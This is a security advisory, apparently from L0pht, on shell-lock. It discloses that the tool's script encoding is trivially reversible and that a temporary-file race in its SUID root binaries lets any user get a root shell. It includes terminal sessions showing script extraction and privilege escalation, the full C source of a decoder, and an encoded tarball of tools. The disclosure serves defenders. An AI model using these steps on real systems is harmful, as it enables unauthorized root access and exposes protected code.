Vulnerability
shell-lock
Affected
Those running shell-lock (available for all UNIX platforms)
Description
Following is based on L0pht Security Advisory. (a) A trivial
encoding mechanism is used for obfuscating the shell code in the
"compiled" binary. Anyone with read permissions to the file in
question can decode and retrieve the original shell code. Another
vulnerability exists where the user can retrieve the un-encoded
shell script without needing to actually decode the binary.
(b) The vendors claim the program to be useful in creating SUID
binaries on systems that do not honor SUID shell scripts and also
to protect against the security problems with SUID shell scripts.
As it turns out any shell-lock "compiled" program that is SUID
root will allow any user to execute any program with root
privileges.
Example (a'):
[slaughter-house] cat q.sh
#!/bin/sh
echo "hi there... this is a test"
[slaughter-house] shell-lock -o q q.sh
SHELL-LOCK(tm)
Shell Script Security Software
Copyright (C) 1989-1999
Cactus International, Inc.
(Version: 2.1.1.1 7/19/99)
Converting files: q.sh
Compiling.....DEMO Version...
Success!!
The shell script "q" has been compiled and placed in "q"
Conversion successful!!
[slaughter-house] file q
q: ELF 32-bit MSB executable SPARC Version 1, dynamically linked, stripped
[slaughter-house] ./q
hi there... this is a test
[slaughter-house] strings ./q
(some stuff... not the ascii from the shell script)
[slaughter-house] ./codem -d -i ./q
#!/bin/sh
rm -f $0 2>/dev/null
echo "hi there... this is a test"
Example (a''):
[slaughter-house] temp-watch -d /var/tmp -C 'q*' -D ./ &
[1] 22971
[slaughter-house] nice +10 ./q
hi there... this is a test
[slaughter-house] more q*
#!/bin/sh
rm -f $0 2>/dev/null
echo "hi there... this is a test"
Example (b):
# ls -l q
-rwxr-xr-x 1 mudge other 50753 Sep 28 14:24 q
# chown root q
# chmod 4755 q
# exit
[slaughter-house] id
uid=789(mudge) gid=1(other)
[slaughter-house] ls -l q
-rwsr-xr-x 1 root other 50753 Sep 28 14:24 q
[slaughter-house] temp-watch -X '^q*' -R /bin/sh -d /var/tmp &
[1] 23071
[slaughter-house] nice +10 ./q
# id
uid=0(root) gid=1(other)
So, what's shell-lock? Have you ever seen the big advertisements
run in the back of SysAdmin magazine. You know, the ones with the
Texan with the huge hat and sunglasses? Well, that is Cactus
software. The program "shell-lock" is used to create ELF binaries
from shell scripts. Ostensibly called a Shell Script Compiler,
the literature states that the program also hides the original
shell code so as not to be returnable through running strings(1)
on the binary.
A quick decompilation shows that the encoding and decoding
routines look as follows:
0x16194 : inc %i4 Increment the counter
0x16198 : srl %i4, 0x1f, %o0 {
0x1619c : add %i4, %o0, %o0 { testing for odd v even
0x161a0 : andn %o0, 1, %o0 {
0x161a4 : cmp %i4, %o0 {
0x161a8 : bne 0x161b8 If they match
0x161ac : add %o1, 0x63, %o2 add 0x63 to the value
0x161b0 : b 0x161c0 else
0x161b4 : ld [ %i1 ], %o0
0x161b8 : add %o1, 0x44, %o2 add 0x44 to the value
0x161bc : ld [ %i1 ], %o0
0x161c0 : deccc %o0
0x161c4 : bneg 0x16228
0x161c8 : st %o0, [ %i1 ]
0x161cc : ld [ %i1 + 4 ], %o0
0x161d0 : add %o0, 1, %o1
0x161d4 : st %o1, [ %i1 + 4 ]
0x161d8 : and %o2, 0xff, %o1 and with 0xff (hey it's
0x161dc : stb %o1, [ %o0 ] ascii printable after all)
0x161e0 : ld [ %i0 ], %o0
0x161e4 : deccc %o0
This basically boils down to the following C code snippit.
for (i=0; i < strlen ; i++){
if (!(i % 2))
outbuff[i] = (inbuff[i] + 0x44) & 0xff;
else
outbuff[i] = (inbuff[i] + 0x63) & 0xff;
}
Conversely the decoding subtracts 0x44 and 0x63 alternately. What
shell-lock does when it creates the initial "compiled" binary
from the shell script is to add the line "rm -f $0 2>/dev/null" to
the bourne shell script (or "unlink $ZERO ;
$ZERO=ENV{'X0'};\n.\nw\nq" for a perl script) and encodes the
entire file. This is then copied into the data section of a
skeleton binary file. The binary file, upon execution, reads the
encoded data section and writes it out to a temporary file
(*note: the default location is /var/tmp though it will follow
the TMPDIR variable) and then execve's /bin/sh to call the
program.
The first method of extracting the data comes in using the
attached program to read the binary and run the data section
through the decoding routine.
The second method of extraction is to use the current version of
temp-watch (available freely from the L0pht advisories site) to
make a copy of the temporary file containing the original shell
code that is created when the binary is run.
The SUID root vulnerability lies in the fact that while the
temporary file is created without any special permissions, the
file exec'ing it is running as root. Thus, as soon as one sees
the temporary file the race condition exists where the user can
unlink the file and replace it with a different file or a symlink
to the program wishing to be executed. This is accomplished in
the above example with the program temp-watch using arguments
specifying the replacement of the temporary file with a link to
/bin/sh. Code follows. temp-watch can be found at
http://www.l0pht.com/advisories/l0pht-watch.tar.gz
Below you'll find that mimed and codem after that.
---
Content-Type: application/octet-stream; name="slock.tgz"
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="slock.tgz"
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RWsqAaT1fZ/9ARdH/d7hGV31zo9O6OKs/+7N0bztKvlqmkkaRttVlBkdGCHpwd12C6sLghLo
y8SNJ0/04tPqprIU+ZvSFFxPhOgJ236qVt6fYKuMqzxP5k4RmhJFe1q4kZOgxs7Ma2468hXL
bNGNPdNo8S4oLb+qyhWc70rqOuj9b3tX99o2DMTf+1eIMkg70pJkpYG9lSRjow8rTqGBsQXX
UWMzf2E7LGXd/z7dnWRbspJ4Y2tefC+OHel0sr7Pd/eb3S7ns3uc32oaXSUSctgjSlnUjywo
uCrqVHT+IXqVNzliwr2VK3mK6mUQHzaK3PRs0KhBn92JFXsJOAkwDO+W8483zmy6w02LxsCA
PMXP5CR2bqszjkgoc6+USsQVKvIOiyh6Df5+cD7dzzR562NDvsB2YkI/OiAnXsSJCRQCaPlO
FvK6lEqjE21iqMaOJLUUxMmS4he2Hno84aSDD9WtEFfuUXTnJ6V9gWC7mvKFVrNNGPZJ5QIL
mq5zqQzrlGdgTZOir0YnakjAhChTm3OiOfudKEdntc435qsdOVxchqtiHpafb0UHWIhLIw9r
uIMd2wi1o6NRzf5b4hj9+zIO4f+N4L/r8fh69G5wNUL776vxcNzZf78C/Tlmwk+1z37r9enx
OiBVl2fZWKts+sbak9tqyozZQMFcmRTo/yomtIGXekMJvQaOzACMMrwE/+6VN5k624VPekNi
gFxVrptN4SfZexMxEDWNWkJc3i5WFboMPpiWd4A6mMRBAZvGOm4dQACc25l5VfxapA+w9QI+
gF3lkl928sQ2KRysOIdDYmCXq0lSlkt7yZNXKLkqAsF5gpxsmsqPSi3ZZXwNkCIQpSDjqE4g
TCKKjBl4Ek3EjVctGcIXrMjNvvMsZ1+Y6E+9bz00Ou296bGv9vc1ZXq7a82eF2CVJ33mRV3r
zd9SJugk9pLnRkoEK+KiUcQZDqBTnuR3f7HHymEA5C1LZBS5l9CRoD0EjzUXQzwW534mzRpb
80I0Fpb79EV3kyo8puqlPWInstu/GHSKyw9v255AOyuBlhD2N+sYY8CRUW2xd7kQXOAxCQMP
60Zf2im1ndvW4FbeKXgr6V9WRsq1s1kYbCTq1l8xa1KcFBwwWEXdCW+SImtjjS8mLx4Fp06f
W7IzYgETm+3LgqxdojR83l9Z3+Dn8zAVp0KcK3Iv4zyupuHS1BmOFN38/9/m/2PvPzrqqKPj
0W/5+TLQAH4AAA==
-----
And now codem:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
void usage(char *);
int main(int argc, char *argv[]){
int fdin, fdout;
int strlen, i, c;
int cryptFlag=0, decryptFlag=0,seekFlag=0;
int seekOffset=50688;
char *infile=NULL, *outfile=NULL;
char inbuff[8192];
char outbuff[8192];
while ((c = getopt(argc, argv, "cdhi:o:s:")) != EOF){
switch (c) {
case 'c':
cryptFlag++;
break;
case 'd':
decryptFlag++;
break;
case 'i':
infile = optarg;
break;
case 'o':
outfile = optarg;
break;
case 's':
seekOffset = atoi(optarg);
break;
case 'h':
usage(argv[0]);
break;
default:
usage(argv[0]);
break;
}
}
if ((cryptFlag && decryptFlag) || (!cryptFlag && !decryptFlag)){
printf("Must specify either -c or -d but not both\n");
usage(argv[0]);
}
if (infile){
fdin = open(infile, O_RDONLY);
if (fdin == -1){
perror("open infile");
}
} else {
fdin = STDIN_FILENO;
}
if (outfile){
fdout = open(outfile, O_WRONLY|O_CREAT|O_EXCL, 0644);
if (fdout == -1){
perror("open outfiel");
}
} else {
fdout = STDOUT_FILENO;
}
memset(inbuff, '\0', sizeof(inbuff));
memset(outbuff, '\0', sizeof(outbuff));
if (decryptFlag)
lseek(fdin, seekOffset, SEEK_SET);
while ((strlen = read(fdin, inbuff, sizeof(inbuff))) != 0){
for (i=0; i < strlen ; i++){
if (cryptFlag){
if (!(i % 2))
outbuff[i] = (inbuff[i] + 0x44) & 0xff;
else
outbuff[i] = (inbuff[i] + 0x63) & 0xff;
} else {
if (!(i % 2))
outbuff[i] = inbuff[i] - 0x44;
else
outbuff[i] = inbuff[i] - 0x63;
}
}
write(fdout, outbuff, strlen);
}
close(fdin);
close(fdout);
return(0);
}
void usage(char *progname){
char *c;
c = strrchr(progname, '/');
if (c)
c++;
else
c = progname;
printf("Usage: %s -cd[h] [-i infile] [-o outfile] [-s seek] \n", c);
printf(" Shell-lock {en,de}coder by mudge@l0pht.com and _lumpy\n");
printf(" -c encrypt\n");
printf(" -d decrypt\n");
printf(" -h help\n");
printf(" -i <file> input file\n");
printf(" -o <file> output file\n");
printf(" -s <offset> seed offset [defaults to 50688]\n");
exit(1);
}
Solution
Do not take candy or accept car rides from strangers. If
something seems too good to be true it probably is. There are
few magic solutions that negate having to do things right in the
first place.
If you need a shell script to run with root priveledges consider
writing it in C or using something like sudo.
Do not rely upon shell-lock as an obfuscation mechanism for hiding
the internals of shell scripts in 'compiled' binaries.
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